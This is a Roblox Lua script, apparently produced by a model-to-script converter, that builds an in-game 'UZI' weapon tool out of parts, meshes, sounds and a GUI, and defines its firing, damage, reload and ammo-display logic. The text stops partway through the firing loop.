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- -- made by 1ndrew
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Tool0 = Instance.new("Tool")
- LocalScript1 = Instance.new("LocalScript")
- NumberValue2 = Instance.new("NumberValue")
- NumberValue3 = Instance.new("NumberValue")
- Smoke4 = Instance.new("Smoke")
- Smoke5 = Instance.new("Smoke")
- ScreenGui6 = Instance.new("ScreenGui")
- Frame7 = Instance.new("Frame")
- TextLabel8 = Instance.new("TextLabel")
- Frame9 = Instance.new("Frame")
- TextLabel10 = Instance.new("TextLabel")
- Frame11 = Instance.new("Frame")
- TextLabel12 = Instance.new("TextLabel")
- Part13 = Instance.new("Part")
- BlockMesh14 = Instance.new("BlockMesh")
- Part15 = Instance.new("Part")
- BlockMesh16 = Instance.new("BlockMesh")
- Part17 = Instance.new("Part")
- BlockMesh18 = Instance.new("BlockMesh")
- Part19 = Instance.new("Part")
- BlockMesh20 = Instance.new("BlockMesh")
- Part21 = Instance.new("Part")
- BlockMesh22 = Instance.new("BlockMesh")
- Part23 = Instance.new("Part")
- BlockMesh24 = Instance.new("BlockMesh")
- Part25 = Instance.new("Part")
- BlockMesh26 = Instance.new("BlockMesh")
- Part27 = Instance.new("Part")
- SpecialMesh28 = Instance.new("SpecialMesh")
- Smoke29 = Instance.new("Smoke")
- Part30 = Instance.new("Part")
- BlockMesh31 = Instance.new("BlockMesh")
- Sound32 = Instance.new("Sound")
- Sound33 = Instance.new("Sound")
- Sound34 = Instance.new("Sound")
- Sound35 = Instance.new("Sound")
- Sound36 = Instance.new("Sound")
- Part37 = Instance.new("Part")
- Decal38 = Instance.new("Decal")
- BlockMesh39 = Instance.new("BlockMesh")
- Part40 = Instance.new("Part")
- BlockMesh41 = Instance.new("BlockMesh")
- Part42 = Instance.new("Part")
- BlockMesh43 = Instance.new("BlockMesh")
- Part44 = Instance.new("Part")
- BlockMesh45 = Instance.new("BlockMesh")
- Part46 = Instance.new("Part")
- CylinderMesh47 = Instance.new("CylinderMesh")
- Part48 = Instance.new("Part")
- BlockMesh49 = Instance.new("BlockMesh")
- Part50 = Instance.new("Part")
- BlockMesh51 = Instance.new("BlockMesh")
- Part52 = Instance.new("Part")
- BlockMesh53 = Instance.new("BlockMesh")
- Part54 = Instance.new("Part")
- CylinderMesh55 = Instance.new("CylinderMesh")
- Part56 = Instance.new("Part")
- BlockMesh57 = Instance.new("BlockMesh")
- Part58 = Instance.new("Part")
- SpecialMesh59 = Instance.new("SpecialMesh")
- Part60 = Instance.new("Part")
- CylinderMesh61 = Instance.new("CylinderMesh")
- Part62 = Instance.new("Part")
- CylinderMesh63 = Instance.new("CylinderMesh")
- Part64 = Instance.new("Part")
- BlockMesh65 = Instance.new("BlockMesh")
- Part66 = Instance.new("Part")
- BlockMesh67 = Instance.new("BlockMesh")
- Part68 = Instance.new("Part")
- BlockMesh69 = Instance.new("BlockMesh")
- Part70 = Instance.new("Part")
- BlockMesh71 = Instance.new("BlockMesh")
- Part72 = Instance.new("Part")
- SpecialMesh73 = Instance.new("SpecialMesh")
- Part74 = Instance.new("Part")
- BlockMesh75 = Instance.new("BlockMesh")
- Part76 = Instance.new("Part")
- BlockMesh77 = Instance.new("BlockMesh")
- Part78 = Instance.new("Part")
- BlockMesh79 = Instance.new("BlockMesh")
- Part80 = Instance.new("Part")
- BlockMesh81 = Instance.new("BlockMesh")
- Part82 = Instance.new("Part")
- BlockMesh83 = Instance.new("BlockMesh")
- Part84 = Instance.new("Part")
- BlockMesh85 = Instance.new("BlockMesh")
- Part86 = Instance.new("Part")
- BlockMesh87 = Instance.new("BlockMesh")
- Part88 = Instance.new("Part")
- CylinderMesh89 = Instance.new("CylinderMesh")
- Part90 = Instance.new("Part")
- BlockMesh91 = Instance.new("BlockMesh")
- Part92 = Instance.new("Part")
- BlockMesh93 = Instance.new("BlockMesh")
- Part94 = Instance.new("Part")
- BlockMesh95 = Instance.new("BlockMesh")
- Part96 = Instance.new("Part")
- CylinderMesh97 = Instance.new("CylinderMesh")
- Part98 = Instance.new("Part")
- BlockMesh99 = Instance.new("BlockMesh")
- Part100 = Instance.new("Part")
- CylinderMesh101 = Instance.new("CylinderMesh")
- Part102 = Instance.new("Part")
- BlockMesh103 = Instance.new("BlockMesh")
- Part104 = Instance.new("Part")
- BlockMesh105 = Instance.new("BlockMesh")
- Part106 = Instance.new("Part")
- BlockMesh107 = Instance.new("BlockMesh")
- Part108 = Instance.new("Part")
- CylinderMesh109 = Instance.new("CylinderMesh")
- Part110 = Instance.new("Part")
- BlockMesh111 = Instance.new("BlockMesh")
- Part112 = Instance.new("Part")
- SpecialMesh113 = Instance.new("SpecialMesh")
- Part114 = Instance.new("Part")
- BlockMesh115 = Instance.new("BlockMesh")
- Part116 = Instance.new("Part")
- BlockMesh117 = Instance.new("BlockMesh")
- Part118 = Instance.new("Part")
- CylinderMesh119 = Instance.new("CylinderMesh")
- Part120 = Instance.new("Part")
- CylinderMesh121 = Instance.new("CylinderMesh")
- Part122 = Instance.new("Part")
- BlockMesh123 = Instance.new("BlockMesh")
- Part124 = Instance.new("Part")
- BlockMesh125 = Instance.new("BlockMesh")
- Part126 = Instance.new("Part")
- SpecialMesh127 = Instance.new("SpecialMesh")
- Part128 = Instance.new("Part")
- BlockMesh129 = Instance.new("BlockMesh")
- Part130 = Instance.new("Part")
- BlockMesh131 = Instance.new("BlockMesh")
- Part132 = Instance.new("Part")
- SpecialMesh133 = Instance.new("SpecialMesh")
- Part134 = Instance.new("Part")
- SpecialMesh135 = Instance.new("SpecialMesh")
- Part136 = Instance.new("Part")
- SpecialMesh137 = Instance.new("SpecialMesh")
- Part138 = Instance.new("Part")
- CylinderMesh139 = Instance.new("CylinderMesh")
- Part140 = Instance.new("Part")
- SpecialMesh141 = Instance.new("SpecialMesh")
- Part142 = Instance.new("Part")
- SpecialMesh143 = Instance.new("SpecialMesh")
- Part144 = Instance.new("Part")
- BlockMesh145 = Instance.new("BlockMesh")
- Part146 = Instance.new("Part")
- SpecialMesh147 = Instance.new("SpecialMesh")
- Part148 = Instance.new("Part")
- BlockMesh149 = Instance.new("BlockMesh")
- Part150 = Instance.new("Part")
- SpecialMesh151 = Instance.new("SpecialMesh")
- Part152 = Instance.new("Part")
- BlockMesh153 = Instance.new("BlockMesh")
- Part154 = Instance.new("Part")
- SpecialMesh155 = Instance.new("SpecialMesh")
- Part156 = Instance.new("Part")
- BlockMesh157 = Instance.new("BlockMesh")
- Part158 = Instance.new("Part")
- BlockMesh159 = Instance.new("BlockMesh")
- Part160 = Instance.new("Part")
- CylinderMesh161 = Instance.new("CylinderMesh")
- Part162 = Instance.new("Part")
- BlockMesh163 = Instance.new("BlockMesh")
- Part164 = Instance.new("Part")
- SpecialMesh165 = Instance.new("SpecialMesh")
- Part166 = Instance.new("Part")
- CylinderMesh167 = Instance.new("CylinderMesh")
- Part168 = Instance.new("Part")
- BlockMesh169 = Instance.new("BlockMesh")
- Part170 = Instance.new("Part")
- SpecialMesh171 = Instance.new("SpecialMesh")
- Part172 = Instance.new("Part")
- CylinderMesh173 = Instance.new("CylinderMesh")
- Part174 = Instance.new("Part")
- BlockMesh175 = Instance.new("BlockMesh")
- Part176 = Instance.new("Part")
- CylinderMesh177 = Instance.new("CylinderMesh")
- Part178 = Instance.new("Part")
- BlockMesh179 = Instance.new("BlockMesh")
- Part180 = Instance.new("Part")
- CylinderMesh181 = Instance.new("CylinderMesh")
- Part182 = Instance.new("Part")
- BlockMesh183 = Instance.new("BlockMesh")
- Part184 = Instance.new("Part")
- CylinderMesh185 = Instance.new("CylinderMesh")
- Part186 = Instance.new("Part")
- BlockMesh187 = Instance.new("BlockMesh")
- Part188 = Instance.new("Part")
- BlockMesh189 = Instance.new("BlockMesh")
- Part190 = Instance.new("Part")
- SpecialMesh191 = Instance.new("SpecialMesh")
- Part192 = Instance.new("Part")
- SpecialMesh193 = Instance.new("SpecialMesh")
- Part194 = Instance.new("Part")
- BlockMesh195 = Instance.new("BlockMesh")
- Part196 = Instance.new("Part")
- CylinderMesh197 = Instance.new("CylinderMesh")
- Part198 = Instance.new("Part")
- CylinderMesh199 = Instance.new("CylinderMesh")
- ManualWeld200 = Instance.new("ManualWeld")
- Part201 = Instance.new("Part")
- BlockMesh202 = Instance.new("BlockMesh")
- Part203 = Instance.new("Part")
- BlockMesh204 = Instance.new("BlockMesh")
- Part205 = Instance.new("Part")
- CylinderMesh206 = Instance.new("CylinderMesh")
- Part207 = Instance.new("Part")
- CylinderMesh208 = Instance.new("CylinderMesh")
- ManualWeld209 = Instance.new("ManualWeld")
- Part210 = Instance.new("Part")
- CylinderMesh211 = Instance.new("CylinderMesh")
- Part212 = Instance.new("Part")
- BlockMesh213 = Instance.new("BlockMesh")
- ManualWeld214 = Instance.new("ManualWeld")
- Part215 = Instance.new("Part")
- SpecialMesh216 = Instance.new("SpecialMesh")
- Part217 = Instance.new("Part")
- CylinderMesh218 = Instance.new("CylinderMesh")
- Part219 = Instance.new("Part")
- BlockMesh220 = Instance.new("BlockMesh")
- Part221 = Instance.new("Part")
- SpecialMesh222 = Instance.new("SpecialMesh")
- Part223 = Instance.new("Part")
- BlockMesh224 = Instance.new("BlockMesh")
- Part225 = Instance.new("Part")
- CylinderMesh226 = Instance.new("CylinderMesh")
- ManualWeld227 = Instance.new("ManualWeld")
- Part228 = Instance.new("Part")
- SpecialMesh229 = Instance.new("SpecialMesh")
- Part230 = Instance.new("Part")
- BlockMesh231 = Instance.new("BlockMesh")
- Part232 = Instance.new("Part")
- SpecialMesh233 = Instance.new("SpecialMesh")
- Part234 = Instance.new("Part")
- CylinderMesh235 = Instance.new("CylinderMesh")
- Part236 = Instance.new("Part")
- BlockMesh237 = Instance.new("BlockMesh")
- ManualWeld238 = Instance.new("ManualWeld")
- Part239 = Instance.new("Part")
- BlockMesh240 = Instance.new("BlockMesh")
- Part241 = Instance.new("Part")
- BlockMesh242 = Instance.new("BlockMesh")
- Part243 = Instance.new("Part")
- BlockMesh244 = Instance.new("BlockMesh")
- Part245 = Instance.new("Part")
- SpecialMesh246 = Instance.new("SpecialMesh")
- Part247 = Instance.new("Part")
- SpecialMesh248 = Instance.new("SpecialMesh")
- Part249 = Instance.new("Part")
- CylinderMesh250 = Instance.new("CylinderMesh")
- Part251 = Instance.new("Part")
- BlockMesh252 = Instance.new("BlockMesh")
- Part253 = Instance.new("Part")
- BlockMesh254 = Instance.new("BlockMesh")
- Part255 = Instance.new("Part")
- CylinderMesh256 = Instance.new("CylinderMesh")
- ManualWeld257 = Instance.new("ManualWeld")
- Part258 = Instance.new("Part")
- SpecialMesh259 = Instance.new("SpecialMesh")
- Part260 = Instance.new("Part")
- BlockMesh261 = Instance.new("BlockMesh")
- Part262 = Instance.new("Part")
- SpecialMesh263 = Instance.new("SpecialMesh")
- Part264 = Instance.new("Part")
- BlockMesh265 = Instance.new("BlockMesh")
- Part266 = Instance.new("Part")
- BlockMesh267 = Instance.new("BlockMesh")
- Part268 = Instance.new("Part")
- CylinderMesh269 = Instance.new("CylinderMesh")
- Part270 = Instance.new("Part")
- BlockMesh271 = Instance.new("BlockMesh")
- Part272 = Instance.new("Part")
- SpecialMesh273 = Instance.new("SpecialMesh")
- Part274 = Instance.new("Part")
- SpecialMesh275 = Instance.new("SpecialMesh")
- Part276 = Instance.new("Part")
- SpecialMesh277 = Instance.new("SpecialMesh")
- Part278 = Instance.new("Part")
- CylinderMesh279 = Instance.new("CylinderMesh")
- Part280 = Instance.new("Part")
- SpecialMesh281 = Instance.new("SpecialMesh")
- Part282 = Instance.new("Part")
- SpecialMesh283 = Instance.new("SpecialMesh")
- Part284 = Instance.new("Part")
- BlockMesh285 = Instance.new("BlockMesh")
- Part286 = Instance.new("Part")
- BlockMesh287 = Instance.new("BlockMesh")
- Part288 = Instance.new("Part")
- BlockMesh289 = Instance.new("BlockMesh")
- Part290 = Instance.new("Part")
- BlockMesh291 = Instance.new("BlockMesh")
- Part292 = Instance.new("Part")
- BlockMesh293 = Instance.new("BlockMesh")
- Part294 = Instance.new("Part")
- CylinderMesh295 = Instance.new("CylinderMesh")
- Part296 = Instance.new("Part")
- BlockMesh297 = Instance.new("BlockMesh")
- Part298 = Instance.new("Part")
- SpecialMesh299 = Instance.new("SpecialMesh")
- Part300 = Instance.new("Part")
- SpecialMesh301 = Instance.new("SpecialMesh")
- Part302 = Instance.new("Part")
- BlockMesh303 = Instance.new("BlockMesh")
- ManualWeld304 = Instance.new("ManualWeld")
- Part305 = Instance.new("Part")
- SpecialMesh306 = Instance.new("SpecialMesh")
- Part307 = Instance.new("Part")
- CylinderMesh308 = Instance.new("CylinderMesh")
- ManualWeld309 = Instance.new("ManualWeld")
- Part310 = Instance.new("Part")
- SpecialMesh311 = Instance.new("SpecialMesh")
- Part312 = Instance.new("Part")
- BlockMesh313 = Instance.new("BlockMesh")
- Part314 = Instance.new("Part")
- CylinderMesh315 = Instance.new("CylinderMesh")
- Part316 = Instance.new("Part")
- SpecialMesh317 = Instance.new("SpecialMesh")
- Part318 = Instance.new("Part")
- BlockMesh319 = Instance.new("BlockMesh")
- Part320 = Instance.new("Part")
- SpecialMesh321 = Instance.new("SpecialMesh")
- Part322 = Instance.new("Part")
- BlockMesh323 = Instance.new("BlockMesh")
- Part324 = Instance.new("Part")
- BlockMesh325 = Instance.new("BlockMesh")
- Part326 = Instance.new("Part")
- BlockMesh327 = Instance.new("BlockMesh")
- Part328 = Instance.new("Part")
- BlockMesh329 = Instance.new("BlockMesh")
- Part330 = Instance.new("Part")
- CylinderMesh331 = Instance.new("CylinderMesh")
- Part332 = Instance.new("Part")
- CylinderMesh333 = Instance.new("CylinderMesh")
- Part334 = Instance.new("Part")
- BlockMesh335 = Instance.new("BlockMesh")
- Part336 = Instance.new("Part")
- BlockMesh337 = Instance.new("BlockMesh")
- Part338 = Instance.new("Part")
- CylinderMesh339 = Instance.new("CylinderMesh")
- Part340 = Instance.new("Part")
- CylinderMesh341 = Instance.new("CylinderMesh")
- ManualWeld342 = Instance.new("ManualWeld")
- Part343 = Instance.new("Part")
- SpecialMesh344 = Instance.new("SpecialMesh")
- Part345 = Instance.new("Part")
- CylinderMesh346 = Instance.new("CylinderMesh")
- Part347 = Instance.new("Part")
- BlockMesh348 = Instance.new("BlockMesh")
- Part349 = Instance.new("Part")
- BlockMesh350 = Instance.new("BlockMesh")
- Part351 = Instance.new("Part")
- BlockMesh352 = Instance.new("BlockMesh")
- Part353 = Instance.new("Part")
- BlockMesh354 = Instance.new("BlockMesh")
- Part355 = Instance.new("Part")
- BlockMesh356 = Instance.new("BlockMesh")
- Part357 = Instance.new("Part")
- BlockMesh358 = Instance.new("BlockMesh")
- Part359 = Instance.new("Part")
- CylinderMesh360 = Instance.new("CylinderMesh")
- Part361 = Instance.new("Part")
- BlockMesh362 = Instance.new("BlockMesh")
- Part363 = Instance.new("Part")
- SpecialMesh364 = Instance.new("SpecialMesh")
- Part365 = Instance.new("Part")
- BlockMesh366 = Instance.new("BlockMesh")
- Part367 = Instance.new("Part")
- CylinderMesh368 = Instance.new("CylinderMesh")
- Part369 = Instance.new("Part")
- BlockMesh370 = Instance.new("BlockMesh")
- Part371 = Instance.new("Part")
- BlockMesh372 = Instance.new("BlockMesh")
- Part373 = Instance.new("Part")
- BlockMesh374 = Instance.new("BlockMesh")
- Part375 = Instance.new("Part")
- SpecialMesh376 = Instance.new("SpecialMesh")
- Part377 = Instance.new("Part")
- BlockMesh378 = Instance.new("BlockMesh")
- Part379 = Instance.new("Part")
- BlockMesh380 = Instance.new("BlockMesh")
- Part381 = Instance.new("Part")
- CylinderMesh382 = Instance.new("CylinderMesh")
- Part383 = Instance.new("Part")
- BlockMesh384 = Instance.new("BlockMesh")
- Part385 = Instance.new("Part")
- SpecialMesh386 = Instance.new("SpecialMesh")
- Part387 = Instance.new("Part")
- SpecialMesh388 = Instance.new("SpecialMesh")
- Part389 = Instance.new("Part")
- BlockMesh390 = Instance.new("BlockMesh")
- Part391 = Instance.new("Part")
- Decal392 = Instance.new("Decal")
- BlockMesh393 = Instance.new("BlockMesh")
- Part394 = Instance.new("Part")
- CylinderMesh395 = Instance.new("CylinderMesh")
- Part396 = Instance.new("Part")
- CylinderMesh397 = Instance.new("CylinderMesh")
- Part398 = Instance.new("Part")
- CylinderMesh399 = Instance.new("CylinderMesh")
- Part400 = Instance.new("Part")
- BlockMesh401 = Instance.new("BlockMesh")
- ManualWeld402 = Instance.new("ManualWeld")
- Part403 = Instance.new("Part")
- BlockMesh404 = Instance.new("BlockMesh")
- ManualWeld405 = Instance.new("ManualWeld")
- Part406 = Instance.new("Part")
- BlockMesh407 = Instance.new("BlockMesh")
- Part408 = Instance.new("Part")
- BlockMesh409 = Instance.new("BlockMesh")
- Part410 = Instance.new("Part")
- CylinderMesh411 = Instance.new("CylinderMesh")
- Part412 = Instance.new("Part")
- BlockMesh413 = Instance.new("BlockMesh")
- Part414 = Instance.new("Part")
- BlockMesh415 = Instance.new("BlockMesh")
- Part416 = Instance.new("Part")
- SpecialMesh417 = Instance.new("SpecialMesh")
- Part418 = Instance.new("Part")
- CylinderMesh419 = Instance.new("CylinderMesh")
- Part420 = Instance.new("Part")
- BlockMesh421 = Instance.new("BlockMesh")
- Part422 = Instance.new("Part")
- BlockMesh423 = Instance.new("BlockMesh")
- Part424 = Instance.new("Part")
- CylinderMesh425 = Instance.new("CylinderMesh")
- Part426 = Instance.new("Part")
- BlockMesh427 = Instance.new("BlockMesh")
- Part428 = Instance.new("Part")
- SpecialMesh429 = Instance.new("SpecialMesh")
- Part430 = Instance.new("Part")
- CylinderMesh431 = Instance.new("CylinderMesh")
- Part432 = Instance.new("Part")
- BlockMesh433 = Instance.new("BlockMesh")
- Part434 = Instance.new("Part")
- BlockMesh435 = Instance.new("BlockMesh")
- Part436 = Instance.new("Part")
- CylinderMesh437 = Instance.new("CylinderMesh")
- Part438 = Instance.new("Part")
- CylinderMesh439 = Instance.new("CylinderMesh")
- Part440 = Instance.new("Part")
- BlockMesh441 = Instance.new("BlockMesh")
- Part442 = Instance.new("Part")
- BlockMesh443 = Instance.new("BlockMesh")
- Part444 = Instance.new("Part")
- CylinderMesh445 = Instance.new("CylinderMesh")
- Part446 = Instance.new("Part")
- CylinderMesh447 = Instance.new("CylinderMesh")
- Part448 = Instance.new("Part")
- SpecialMesh449 = Instance.new("SpecialMesh")
- Part450 = Instance.new("Part")
- BlockMesh451 = Instance.new("BlockMesh")
- ManualWeld452 = Instance.new("ManualWeld")
- Part453 = Instance.new("Part")
- CylinderMesh454 = Instance.new("CylinderMesh")
- Part455 = Instance.new("Part")
- CylinderMesh456 = Instance.new("CylinderMesh")
- Part457 = Instance.new("Part")
- BlockMesh458 = Instance.new("BlockMesh")
- Part459 = Instance.new("Part")
- BlockMesh460 = Instance.new("BlockMesh")
- Part461 = Instance.new("Part")
- CylinderMesh462 = Instance.new("CylinderMesh")
- Part463 = Instance.new("Part")
- BlockMesh464 = Instance.new("BlockMesh")
- Part465 = Instance.new("Part")
- SpecialMesh466 = Instance.new("SpecialMesh")
- Part467 = Instance.new("Part")
- BlockMesh468 = Instance.new("BlockMesh")
- Part469 = Instance.new("Part")
- BlockMesh470 = Instance.new("BlockMesh")
- Part471 = Instance.new("Part")
- SpecialMesh472 = Instance.new("SpecialMesh")
- Part473 = Instance.new("Part")
- SpecialMesh474 = Instance.new("SpecialMesh")
- Part475 = Instance.new("Part")
- SpecialMesh476 = Instance.new("SpecialMesh")
- Part477 = Instance.new("Part")
- BlockMesh478 = Instance.new("BlockMesh")
- Part479 = Instance.new("Part")
- BlockMesh480 = Instance.new("BlockMesh")
- Part481 = Instance.new("Part")
- CylinderMesh482 = Instance.new("CylinderMesh")
- Part483 = Instance.new("Part")
- CylinderMesh484 = Instance.new("CylinderMesh")
- Part485 = Instance.new("Part")
- CylinderMesh486 = Instance.new("CylinderMesh")
- Part487 = Instance.new("Part")
- BlockMesh488 = Instance.new("BlockMesh")
- Part489 = Instance.new("Part")
- BlockMesh490 = Instance.new("BlockMesh")
- Part491 = Instance.new("Part")
- BlockMesh492 = Instance.new("BlockMesh")
- Part493 = Instance.new("Part")
- BlockMesh494 = Instance.new("BlockMesh")
- ManualWeld495 = Instance.new("ManualWeld")
- Part496 = Instance.new("Part")
- BlockMesh497 = Instance.new("BlockMesh")
- Part498 = Instance.new("Part")
- BlockMesh499 = Instance.new("BlockMesh")
- Part500 = Instance.new("Part")
- SpecialMesh501 = Instance.new("SpecialMesh")
- Part502 = Instance.new("Part")
- CylinderMesh503 = Instance.new("CylinderMesh")
- Part504 = Instance.new("Part")
- CylinderMesh505 = Instance.new("CylinderMesh")
- Part506 = Instance.new("Part")
- CylinderMesh507 = Instance.new("CylinderMesh")
- Part508 = Instance.new("Part")
- BlockMesh509 = Instance.new("BlockMesh")
- Part510 = Instance.new("Part")
- BlockMesh511 = Instance.new("BlockMesh")
- Sound512 = Instance.new("Sound")
- Script513 = Instance.new("Script")
- Sound514 = Instance.new("Sound")
- Script515 = Instance.new("Script")
- Sound516 = Instance.new("Sound")
- Script517 = Instance.new("Script")
- Sound518 = Instance.new("Sound")
- Script519 = Instance.new("Script")
- Sound520 = Instance.new("Sound")
- Script521 = Instance.new("Script")
- Script522 = Instance.new("Script")
- Tool0.Name = "UZI"
- Tool0.Parent = mas
- LocalScript1.Name = "Gun_Script"
- LocalScript1.Parent = Tool0
- table.insert(cors,sandbox(LocalScript1,function()
- wait(0.5)
- --Edit settings below--
- local Tool = script.Parent
- local Settings = {
- Range = 600
- ,Spread = 20
- ,Damage = {20,40}
- ,HeadShotDamage = {100,100}
- ,Bullets = 1
- ,FireRate = 0.07
- ,Automatic = true
- ,AntiTK = true
- ,ImpactDuration = 3
- --Reload
- ,ReloadKey = "R"
- ,ReloadTime = 2
- ,Ammo = 32
- ,IncludeChamberedBullet = true
- --Gui
- ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
- --Arms
- ,OneHanded = true
- ,FakeArms = true
- ,FakeArmTransparency = 0.5
- ,RightPos = CFrame.new(-0.75, 0.5, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
- ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
- ,AimPart = Tool.AimPart
- ,AimPartOffset = CFrame.new()
- ,AimGripOffset = Vector3.new(0, 0, 0)
- ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
- ,AimAnim = {
- Enabled = false
- ,Frames = 50
- ,Time = 0.1
- }
- ,ChangeFOV = {true, 65}
- ,SpreadReduction = 5
- --Weld
- ,Weld = true
- --Mouse
- ,Icons = {
- Idle = "rbxassetid://70288585"
- ,Fire1 = "rbxassetid://70288578"
- ,Fire2 = "rbxassetid://70288572"
- ,Fire3 = "rbxassetid://70288578"
- ,Reload = "rbxassetid://70288599"
- ,Aim = "rbxasset://textures/Blank.png"
- }
- ,FireMouseAnimTime = 0.15
- --Recoil
- ,Recoil = math.rad(2)
- --Smoke
- ,Smoke = true
- ,SmokePart = Tool.SmokePart
- ,Smokes = {{script.Smoke, 6, 0.1}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}}
- --Sprint
- ,Sprint = true
- ,SprintSpeed = 25
- ,SprintKey = "0"
- ,SprintSpreadIncrease = 40
- ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
- --Other
- ,DropHats = true
- }
- --Do not edit below this lign--
- local Orig_Spread = Settings.Spread
- local Orig_Grip = Tool.GripPos
- local Player = game.Players.LocalPlayer
- local Character = Player.Character
- local Camera = Workspace.CurrentCamera
- local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
- local Gui, CanUpdateGui = nil, true
- local Sprinting, Equipped
- function Update_Gui()
- if Gui and CanUpdateGui then
- Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
- end
- end
- local Welded
- if Settings.Weld then
- Delay(0, function()
- local weldC0s = {}
- for i, v in pairs(Tool:GetChildren()) do
- if v:IsA("BasePart") and v ~= Tool.Handle then
- table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
- v.Anchored = false
- end
- end
- Tool.Handle.Anchored = false
- local welds = {}
- Tool.Equipped:connect(function()
- for i, v in ipairs(welds) do
- v.Part1 = nil
- v:Destroy()
- end
- for i, v in ipairs(weldC0s) do
- if v[1] and v[2] then
- local w = Instance.new("Weld", Tool.Handle)
- w.Part0 = Tool.Handle
- w.Part1 = v[1]
- w.C0 = v[2]
- table.insert(welds, w)
- end
- end
- end)
- wait()
- Welded = true
- end)
- end
- local Left_Weld, Right_Weld
- Ammo.Changed:connect(Update_Gui)
- StoredAmmo.Changed:connect(Update_Gui)
- Settings.Range = math.min(Settings.Range, 999)
- local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
- Ignore_Model.Name = "Ray_Ignore"
- local Ray_Ignore = {Character, Ignore_Model, Camera}
- Character.Humanoid.Died:connect(function()
- Tool.Parent = Player.Backpack
- end)
- function Fire(Mouse)
- local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
- local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
- local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
- if Hit and Hit.Parent:FindFirstChild("Humanoid") then
- local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
- if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
- return
- end
- local Humanoid = Hit.Parent.Humanoid
- local c = Instance.new("ObjectValue")
- c.Name = "creator"
- c.Value = Player
- game.Debris:AddItem(c, 3)
- c.Parent = Humanoid
- if Hit.Name == "Head" then
- Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
- else
- Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
- end
- elseif Hit then
- local Hit_Part = Instance.new("Part", Ignore_Model)
- Hit_Part.FormFactor = "Custom"
- Hit_Part.TopSurface = 0
- Hit_Part.BottomSurface = 0
- Hit_Part.Anchored = true
- Hit_Part.CanCollide = false
- Hit_Part.Size = Vector3.new()
- Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
- Hit_Part.BrickColor = BrickColor.new("Black")
- game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
- if not Hit.Anchored then
- local w = Instance.new("Weld", Hit_Part)
- w.Part0 = Hit
- w.Part1 = Hit_Part
- w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
- Hit_Part.Anchored = false
- end
- if Hit.Parent:IsA("Hat") and Settings.DropHats then
- Hit.Parent.Parent = workspace
- game.Debris:AddItem(Hit, 3)
- end
- end
- end
- local Can_Shoot = true
- local Reloading = false
- local First_Person = false
- local Mouse_Held
- Tool.Equipped:connect(function(Mouse)
- Equipped = true
- if Settings.Weld and not Welded then
- wait()
- Tool.Parent = Player.Backpack
- end
- Character = Player.Character
- if Gui then
- return
- end
- Ray_Ignore = {Character, Ignore_Model, Camera}
- Mouse.Icon = Settings.Icons.Idle
- Gui = script.Gui:Clone()
- Gui.Parent = Player.PlayerGui
- Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
- Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
- CanUpdateGui = true
- Update_Gui()
- Mouse.Button1Down:connect(function()
- if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
- Mouse_Held = true
- while true do
- Can_Shoot = false
- Delay(0, function()
- local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
- if not Aiming then
- Mouse.Icon = Settings.Icons.Fire1
- end
- wait(t)
- if not Aiming then
- if Reloading then return end
- Mouse.Icon = Settings.Icons.Fire2
- end
- wait(t)
- if not Aiming then
- if Reloading then return end
- Mouse.Icon = Settings.Icons.Fire3
- end
- wait(t)
- if not Aiming then
- if Reloading then return end
- Mouse.Icon = Settings.Icons.Idle
- end
- end)
- if Settings.Smoke then
- for i, v in pairs(Settings.Smokes) do
- local s = v[1]:Clone()
- s.Parent = Settings.SmokePart
- s.Enabled = true
- game.Debris:AddItem(s, v[2])
- if v[3] then
- Delay(v[3], function()
- s.Enabled = false
- end)
- end
- end
- end
- for _ = 1, Settings.Bullets do
- Fire(Mouse)
- end
- Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
- if Tool.Handle:FindFirstChild("Shoot") then
- Tool.Handle.Shoot:Play()
- end
- Ammo.Value = Ammo.Value - 1
- wait(Settings.FireRate)
